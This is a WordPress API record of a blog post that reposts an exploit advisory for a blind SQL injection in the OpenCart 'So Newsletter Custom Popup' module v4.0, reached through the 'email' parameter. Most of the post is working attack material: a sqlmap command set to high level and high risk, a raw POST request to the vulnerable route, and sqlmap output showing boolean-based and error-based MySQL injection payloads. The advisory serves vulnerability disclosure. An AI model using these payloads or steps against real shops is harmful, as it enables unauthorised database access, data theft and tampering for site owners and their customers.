{"id":30939,"date":"2022-09-19T19:58:24","date_gmt":"2022-09-19T15:58:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168412\/opencart3xncp-sql.txt"},"modified":"2022-09-28T15:49:30","modified_gmt":"2022-09-28T12:19:30","slug":"opencart-3-x-newsletter-custom-popup-4-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/opencart-3-x-newsletter-custom-popup-4-0-sql-injection\/","title":{"rendered":"OpenCart 3.x Newsletter Custom Popup 4.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module &#8211; Blind SQL Injection<br \/>\n# Date: 18\/09\/2022<br \/>\n# Exploit Author: Saud Alenazi<br \/>\n# Vendor Homepage: https:\/\/www.opencart.com\/<br \/>\n# Software Link: https:\/\/www.opencart.com\/index.php?route=marketplace\/extension\/info&amp;extension_id=40259&amp;filter_search=newsletter&amp;filter_license=1&amp;sort=date_added<br \/>\n# Version: v.4.0<br \/>\n# Tested on: XAMPP, Linux<br \/>\n# Contact: https:\/\/twitter.com\/dmaral3noz<\/p>\n<p dir=\"ltr\">* Description :<\/p>\n<p dir=\"ltr\">So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter &#8217;email&#8217; in index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter.<br \/>\nExploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.<\/p>\n<p dir=\"ltr\">* Steps to Reproduce :<br \/>\n&#8211; Go to : http:\/\/127.0.0.1\/index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter<br \/>\n&#8211; Save request in BurpSuite<br \/>\n&#8211; Run saved request with : sqlmap -r sql.txt -p email &#8211;random-agent &#8211;level=5 &#8211;risk=3 &#8211;time-sec=5 &#8211;hex &#8211;dbs<\/p>\n<p dir=\"ltr\">Request :<\/p>\n<p dir=\"ltr\">===========<\/p>\n<p dir=\"ltr\">POST \/index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter HTTP\/1.1<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nCookie: OCSESSID=aaf920777d0aacdee96eb7eb50<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<br \/>\nAccept-Encoding: gzip,deflate<br \/>\nContent-Length: 29<br \/>\nHost: 127.0.0.1<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:68.0) Gecko\/20100101 Firefox\/68.0<br \/>\nConnection: Keep-alive<\/p>\n<p dir=\"ltr\">createdate=2022-8-28%2019:4:6&amp;email=hi&amp;status=0<\/p>\n<p dir=\"ltr\">===========<\/p>\n<p dir=\"ltr\">Output :<\/p>\n<p dir=\"ltr\">Parameter: #1* ((custom) POST)<br \/>\nType: boolean-based blind<br \/>\nTitle: AND boolean-based blind &#8211; WHERE or HAVING clause<br \/>\nPayload: createdate=2022-8-28 19:4:6&amp;email=hi&#8217; AND 4805=4805&#8211; nSeP&amp;status=0<\/p>\n<p dir=\"ltr\">Type: error-based<br \/>\nTitle: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)<br \/>\nPayload: createdate=2022-8-28 19:4:6&amp;email=hi&#8217; AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&#8211; sRQS&amp;status=0<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module &#8211; Blind SQL Injection # Date: 18\/09\/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https:\/\/www.opencart.com\/ # Software Link: https:\/\/www.opencart.com\/index.php?route=marketplace\/extension\/info&amp;extension_id=40259&amp;filter_search=newsletter&amp;filter_license=1&amp;sort=date_added # Version: v.4.0 # Tested on: XAMPP, Linux # Contact: https:\/\/twitter.com\/dmaral3noz * Description : So Newsletter Custom Popup Module is compatible with any Opencart allows &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30939","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30939"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939\/revisions"}],"predecessor-version":[{"id":31348,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939\/revisions\/31348"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}